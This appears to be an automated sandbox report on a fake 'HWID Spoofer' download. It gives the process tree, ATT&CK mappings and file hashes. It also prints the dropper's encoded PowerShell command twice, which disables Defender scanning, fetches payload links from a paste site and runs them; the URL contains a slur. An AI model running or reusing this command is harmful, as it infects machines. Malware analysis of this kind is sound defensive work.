        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4668
- - C:\Users\Admin\AppData\Roaming\qlowmhds.bky1.exe
    "C:\Users\Admin\AppData\Roaming\qlowmhds.bky1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:856

C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe
"C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBtAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBuAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABlAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEYAVQBDAEsATwBGAEYATgBJAEcARwBBAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAHYAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AagBkACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAeQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB6AHUAagAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHcAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHkAYwBoACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- - C:\Users\Admin\AppData\Roaming\ftnki1am.ou10.exe
    "C:\Users\Admin\AppData\Roaming\ftnki1am.ou10.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2840
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\114C.tmp\114D.tmp\114E.bat C:\Users\Admin\AppData\Roaming\ftnki1am.ou10.exe"
      4⤵
      PID:4092
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:2780
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:1016
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3652
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4676
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:4868
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:2916
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:4824
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:2196
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:3228
- - C:\Users\Admin\AppData\Roaming\ftnki1am.ou11.exe
    "C:\Users\Admin\AppData\Roaming\ftnki1am.ou11.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2692

C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe
"C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBtAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBuAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABlAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEYAVQBDAEsATwBGAEYATgBJAEcARwBBAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAHYAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AagBkACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAeQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB6AHUAagAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHcAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHkAYwBoACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- - C:\Users\Admin\AppData\Roaming\jqofc0js.cqy0.exe
    "C:\Users\Admin\AppData\Roaming\jqofc0js.cqy0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3812
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\231E.tmp\231F.tmp\2320.bat C:\Users\Admin\AppData\Roaming\jqofc0js.cqy0.exe"
      4⤵
      PID:404
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4104
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3648
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3420
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4420
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:3100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:232
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:4800
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:1984
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:532
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4256
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2332
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4900
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2216
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3956
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4348
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2456
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1272
- - C:\Users\Admin\AppData\Roaming\jqofc0js.cqy1.exe
    "C:\Users\Admin\AppData\Roaming\jqofc0js.cqy1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Hwid Spoofer.exe.log

Filesize
226B

MD5
28d7fcc2b910da5e67ebb99451a5f598

SHA1
a5bf77a53eda1208f4f37d09d82da0b9915a6747

SHA256
2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c

SHA512
2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1ac52e2503cc26baee4322f02f5b8d9c

SHA1
38e0cee911f5f2a24888a64780ffdf6fa72207c8

SHA256
f65058c6f1a745b37a64d4c97a8e8ee940210273130cec97a67f568088b5d4d4

SHA512
7670d606bc5197ecb7db3ddaecd6f74a80e6decae92b94e0e8145a7f463fa099058e89f9dfa1c45b9197c36e5e21994698186a2ec970bbdb0937fe28ca46a834

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b2a1398f937474c51a48b347387ee36a

SHA1
922a8567f09e68a04233e84e5919043034635949

SHA256
2dc0bf08246ddd5a32288c895d676017578d792349ca437b1b36e7b2f0ade6d6

SHA512
4a660c0549f7a850e07d8d36dab33121af02a7bd7e9b2f0137930b4c8cd89b6c5630e408f882684e6935dcb0d5cb5e01a854950eeda252a4881458cafcc7ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
d5587eefd129a0d4c99c4e91f9493a1c

SHA1
0a0127a09e12c02590ce99f65fd16e719e8ef925

SHA256
4f8861b00ff322f682993a7b87b79369753accd43701a747a03e3014d80ae588

SHA512
951e9317177b4ec658580beab81adbdcaa1db8b03ee5b8de5b8372613cdb731fa583cf72a1755e87e668dcd002657618693e2a29b0a1d96357768afbabe1f055

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
387B

MD5
a76d8ae9523bcf5bb2caa451121a0d91

SHA1
4867caa19f280aabdc4f85f6468335d70ad1d996

SHA256
515a528f05f0c708175813df2e149b0960d193bd4dac47a11a7641745c8a063b

SHA512
9dbab2a7c6ce09335a805a319399b95ad818c94153d57818cdf30cd26f825ab4517d15dca8bf4156a0aab5a24a6c06977ddb5f9d27f4be8f601a813dc88b9a57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
d8d4e8476b94ab5821356a6316ed4c3c

SHA1
e1633923f2fd47bbee59faa53a1c8693fec72ab8

SHA256
6416fe94e1bae9c3ee60fc8ac92c5a03d3fe0313154bbae0c43fe25917b3c47a

SHA512
abba0f42b6beb47261f9c53d80a8e6721d54b3ebadb2fc29deec57b86d029b8098e039ecd16323aa7342357ff476577e33f9b5ab5633960120d17c7c33158356

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8ac5781ecea1ee04c8ddfcc2fbb66c1a

SHA1
6de037a2ea7899908d544843037ba45c7a425769

SHA256
cfc8ac9647e586f68bd7acccfc7dae67010f03284375a7ed4d1fefa1f9c6cf11

SHA512
bad6963f3ba7a8b22957ef646d263d425eb853ec98e772c5616e92fe17df99824db9e68e0d13d44ebd395f477ea5040927c79adffa8e60fe6d85940dadb4b736

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
73c8523738200f64b21c2df3ebbe1360

SHA1
1b480e2b20cf37db0656e11174332d624c73179d

SHA256
5a30019e9d62d9f4679dbe8dacd301fabffc1533da8fb754a72232cab07362a0

SHA512
e843ab08eef508228088d8611982a4cddc32c1720b92856a3727ca1ba2a28de57a9f9536d4bca25c359594ea82933a7a039be2bded44c4088559a06b64c16fe5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
19826c820fdb136d3af7885088f57c91

SHA1
e6150209e805326b2e3d9bbb4f6d0918f83868f5

SHA256
dcdff0b0066fc5ab736db2cd8826036abd5843a3ad668e22c3ca7023333902bf

SHA512
3f91244a0cdcf8cf7c5cec9f65dd7bc1cfd949df9c46d14cc36d63edfc76fbe6f0b8e48d06927ebea5001f9ce753b55f92b34668e1d602562e166138a2710a14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b0d393a2eee8855f25546afe8fb9ddf6

SHA1
1f8b5f06580693eafca3ed65132ddf887cb5fa3f

SHA256
bca0e0ef09068ee9c7524ff4fee794d2d05a2f6ef611089b2cb38acf2a6b97ef

SHA512
51821bc28e55e5aa7140af6cde56c154e9ed0c682b7e97a80f872292d2d44c860fdc23b1bbd1e6ada8f42ecb124f38654c65f03ec8f71947c5aa94d20b1700c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
16dad185418eceed3fcf8bc01ffedea0

SHA1
e9bbfa1a94c790e61d0d3d6453975d20c0663174

SHA256
c790c2804d874a20324da8fcf7386b6d8371e32dd20ea58ddbada480be3c5ef7

SHA512
6668035aba19ad97bd1ee33222600c890eaa5c12a7ee46f4e2b03aba68aeacc04fcfc09ef08c584b394bc05d7b173042a7c784cbd18a3e106f4e80194c433bb0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d8ec93724696400a25ba6a1889e62e0c

SHA1
36121d65c4974e198f4eef578f2b81008a53f1f6

SHA256
7a0b7b319aca663ebea684e6c0df9f30bac6422b21a5767efc4769f315a27746

SHA512
2eb47f37e62f2a1e2e50629986a5f0c21d6ae5db67e3d1baa35de7295f888389beb3f754dbadb5dd2d9b866e7b66daddd5b08e83ffe2224a671f5ec137508220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
806286a9ea8981d782ba5872780e6a4c

SHA1
99fe6f0c1098145a7b60fda68af7e10880f145da

SHA256
cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713

SHA512
362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a052fbd774378345482b627cc8093270

SHA1
afe050f0c2f5a2231f6b1100180ed14166507c43

SHA256
75ecd631672c906ae9a03bf1f7d9bf5bbe725f5f114394d49e6d1cd9ed3e3ca2

SHA512
39014ea93fde476a2e37f1864e7acf7ffc5dbe7ebab927f661cd4624e05d2393e33715c69b91636d9cd1c45d20a65782537b80f2dc0a1493e53e550ae4c2dc8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\FAD6.tmp\FAD7.tmp\FAD8.bat

Filesize
6KB

MD5
5356df66c550e8bf737e23956f5a8406

SHA1
8f40c948922bcc96ee5bb79ad6ed71ac0369c7f9

SHA256
3b03eba10dc8cc18f1ffa3726d6ff3e242183da10b47c8217f0b3b79eee1b3c8

SHA512
abef71ab94f3821f5430d1f65902fc06b2bd73b6c2014d8c9fc5718e9241db5534f033a414d328d1f135d454f46d44986bc5cab52f2d8c828557d92e3976e7f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_agof0xmt.0hm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\qlowmhds.bky0.exe

Filesize
126KB

MD5
2f6b6a51b8426be18badffd9294b0d9f

SHA1
2d4aaeffe325c93e61c38349d5a41fdb1b58c24f

SHA256
36d868815764b2c7b77ded962a02c2949db328a98ac714644e9426bb6d47fa1a

SHA512
3628f903a02fd27b049addfba2f936aee4d039f2c201438fd12d8bca58ab2dee852d3cfd54cd78fe9ec0b2ea86eb85c980dcea271e76e26a7588a4e8fc614d6c

Download Submit
C:\Users\Admin\AppData\Roaming\qlowmhds.bky1.exe

Filesize
355KB

MD5
01a72f1659cfe71d56340773f3c89bf9

SHA1
b87d0a06df5896b9129efd823ea237905cfa9d1e

SHA256
7205faf5054589ce7dc6b68dcfea45c18859cb49a3c0d4bda840fc9d308152bd

SHA512
59e1de953a7bbb7f87da2de9c9575ba7c0098b31afc549c1eff2256ee9beddc590aec88d32716f386fd3a7037d610365d72bbded94278cd0d341ce337579d1e8

Download Submit
C:\Users\Admin\AppData\Roaming\runHidden.vbs

Filesize
46B

MD5
5f193e93167de42dfab747955d0e6d0e

SHA1
d6971d5b4ae136872e52175f72ac0ec8d3183c6c

SHA256
bbefbab236a4cda44a9def4c80d742eeedcab2e52071b5152be0e0a881346288

SHA512
c4b5c915fa426ce61f24916e67c185f92ef04bcd3efe90ba824dac478f251355b401bdcf68578588e28bac0ad0ff50414267d5c7d5b94c536e8529dd9da6783b

Download Submit
C:\Users\Admin\AppData\Roaming\runHidden.vbs

Filesize
164B

MD5
b56689b63d7368be6a22cd8841b59431

SHA1
b0263129ffaa3b9e66a0892c6734df24b1546bd8

SHA256
9ff4c35819972f672b522c1c1e5bd68b44def0e9ec24b2d8fafba4c5e4af4a19

SHA512
d0d92000075d9f529503331d6ccf59a7d9eb97cd808760a24036324496e8bdee952ac3c58aa68a86c71ed2095f07d7d9c012acbb442641b83a8b8eb55b067088

Download Submit
C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main.7z

Filesize
158KB

MD5
dea0706a17989535999a391d72473015

SHA1
c9838d0557de35e89d34617aa92ebfd80d90c6fc

SHA256
316bf463d9cf31be8874f4e0f6e094e9063bd81149eec8c569879d4416b45abd

SHA512
b6442a765337b355edbe03d1176f9870656905bebb0dc43ab8edeec6d9ce83e1f263f68076c840c47572aad6a9c85b9564ace9c849aff0ddf475acfb7a8f11ab

Download Submit
C:\Users\Admin\Downloads\BioGuard-Hwid-Spoofer-Hwid-Changer-BIOS-CPU-main\Hwid Spoofer.exe

Filesize
7KB

MD5
960d70161f0ac1ddd8093955446bdcbc

SHA1
5943c81939f9b43228e2fe2f65e90c54660ae47f

SHA256
31e6573e37d06a71b3025c0e9ed4901093ed5262bc60bbbdf7ce1ed28ebb021a

SHA512
8f3f6091fb3d09d4cdb0f9540bbbc2de0562dd5bb77c8446db49f274be7b173cbc0aa24206e25838cc6b6c6578440c0ecfd1a17acc94c50ebd014cbe16617c14

Download Submit
memory/856-313-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/856-326-0x00000000001D0000-0x000000000023D000-memory.dmp

Filesize
436KB

Download
memory/856-310-0x00000000034D0000-0x00000000038D0000-memory.dmp

Filesize
4.0MB

Download
memory/856-311-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/856-292-0x00000000001D0000-0x000000000023D000-memory.dmp

Filesize
436KB

Download
memory/856-309-0x00000000034D0000-0x00000000038D0000-memory.dmp

Filesize
4.0MB

Download
memory/1480-261-0x0000016AE3AC0000-0x0000016AE3AE2000-memory.dmp

Filesize
136KB

Download
memory/2692-363-0x00000000004F0000-0x000000000055D000-memory.dmp

Filesize
436KB

Download
memory/2692-353-0x00000000004F0000-0x000000000055D000-memory.dmp

Filesize
436KB

Download
memory/2692-358-0x0000000003600000-0x0000000003A00000-memory.dmp

Filesize
4.0MB

Download
memory/2692-359-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/2692-361-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/3828-365-0x0000000002BE0000-0x0000000002FE0000-memory.dmp

Filesize
4.0MB

Download
memory/3828-366-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/3828-368-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/4080-421-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/4080-419-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/4080-418-0x00000000022D0000-0x00000000026D0000-memory.dmp

Filesize
4.0MB

Download
memory/4400-325-0x0000000002340000-0x0000000002740000-memory.dmp

Filesize
4.0MB

Download
memory/4400-327-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/4400-314-0x00000000004E0000-0x00000000004E9000-memory.dmp

Filesize
36KB

Download
memory/4400-329-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/4640-259-0x0000000000D60000-0x0000000000D68000-memory.dmp

Filesize
32KB

Download
memory/4744-405-0x0000000000F40000-0x0000000000FAD000-memory.dmp

Filesize
436KB

Download
memory/4744-411-0x0000000003C10000-0x0000000004010000-memory.dmp

Filesize
4.0MB

Download
memory/4744-414-0x00000000760B0000-0x00000000762C5000-memory.dmp

Filesize
2.1MB

Download
memory/4744-412-0x00007FF8A4390000-0x00007FF8A4585000-memory.dmp

Filesize
2.0MB

Download
memory/4744-416-0x0000000000F40000-0x0000000000FAD000-memory.dmp

Filesize
436KB

Download